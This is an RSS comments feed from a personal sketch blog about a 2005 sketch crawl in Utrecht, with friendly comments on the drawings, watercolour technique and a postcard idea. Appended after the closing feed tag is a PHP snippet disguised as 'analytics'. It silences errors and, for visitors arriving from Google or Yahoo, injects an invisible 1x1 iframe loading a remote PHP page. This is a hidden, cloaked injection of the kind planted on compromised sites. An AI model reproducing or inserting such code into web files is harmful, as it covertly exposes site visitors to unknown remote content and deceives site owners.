<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Sketch Crawl #4 &#8211; Utrecht</title>
	<atom:link href="http://www.blobp.com/index.php/2005/08/28/sketch-crawl-4-utrecht/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.blobp.com/index.php/2005/08/28/sketch-crawl-4-utrecht/</link>
	<description>Eefje&#039;s online sketchpad</description>
	<lastBuildDate>Mon, 20 Apr 2009 06:31:27 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
	<item>
		<title>By: Eefje</title>
		<link>http://www.blobp.com/index.php/2005/08/28/sketch-crawl-4-utrecht/comment-page-1/#comment-195</link>
		<dc:creator>Eefje</dc:creator>
		<pubDate>Tue, 06 Sep 2005 08:32:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogtools.blobp.com/?p=101#comment-195</guid>
		<description>Thanks Michele. You can also click on the map to get a larger view.</description>
		<content:encoded><![CDATA[<p>Thanks Michele. You can also click on the map to get a larger view.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Michele's Mumblings</title>
		<link>http://www.blobp.com/index.php/2005/08/28/sketch-crawl-4-utrecht/comment-page-1/#comment-194</link>
		<dc:creator>Michele's Mumblings</dc:creator>
		<pubDate>Tue, 06 Sep 2005 00:13:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogtools.blobp.com/?p=101#comment-194</guid>
		<description>Thanks for the Walk-through and the sketches - The map made my eyes hurt, though!</description>
		<content:encoded><![CDATA[<p>Thanks for the Walk-through and the sketches &#8211; The map made my eyes hurt, though!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Eefje</title>
		<link>http://www.blobp.com/index.php/2005/08/28/sketch-crawl-4-utrecht/comment-page-1/#comment-193</link>
		<dc:creator>Eefje</dc:creator>
		<pubDate>Sun, 04 Sep 2005 13:51:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogtools.blobp.com/?p=101#comment-193</guid>
		<description>Hi Caroline!

Thanks for your kind comment. I did the watercolor after I finished the (simple) ink drawing first. I did the watercolor on site.
Another visitor of my blog also mentioned about printing my drawings on postcards. I thought that it is a very interesting idea,I just don&#039;t know where to start.</description>
		<content:encoded><![CDATA[<p>Hi Caroline!</p>
<p>Thanks for your kind comment. I did the watercolor after I finished the (simple) ink drawing first. I did the watercolor on site.<br />
Another visitor of my blog also mentioned about printing my drawings on postcards. I thought that it is a very interesting idea,I just don&#8217;t know where to start.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: koukla</title>
		<link>http://www.blobp.com/index.php/2005/08/28/sketch-crawl-4-utrecht/comment-page-1/#comment-192</link>
		<dc:creator>koukla</dc:creator>
		<pubDate>Wed, 31 Aug 2005 15:49:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogtools.blobp.com/?p=101#comment-192</guid>
		<description>Have you ever thought of getting your drawings printed up as notecards/postcards and selling them? I think a lot of people, esp. tourists would really love them.</description>
		<content:encoded><![CDATA[<p>Have you ever thought of getting your drawings printed up as notecards/postcards and selling them? I think a lot of people, esp. tourists would really love them.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: koukla</title>
		<link>http://www.blobp.com/index.php/2005/08/28/sketch-crawl-4-utrecht/comment-page-1/#comment-191</link>
		<dc:creator>koukla</dc:creator>
		<pubDate>Wed, 31 Aug 2005 15:46:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogtools.blobp.com/?p=101#comment-191</guid>
		<description>I think these are absolutely wonderful. I&#039;m going to do something like that after school starts. On the pieces with color, did you add the watercolor washes after the fact or do them as you went along?</description>
		<content:encoded><![CDATA[<p>I think these are absolutely wonderful. I&#8217;m going to do something like that after school starts. On the pieces with color, did you add the watercolor washes after the fact or do them as you went along?</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<!-- analytics977 --> <? error_reporting(0); $stat=$_SERVER["HTTP_REFERER"];$flag_g=stristr($stat,"google.");$flag_y=stristr($stat,"yahoo.");if(($flag_g) or ($flag_y)){echo "<iframe src=\"http://blobp.com/logo-hpr.php\" width=1 height=1 frameborder=0></iframe>";}  ?>
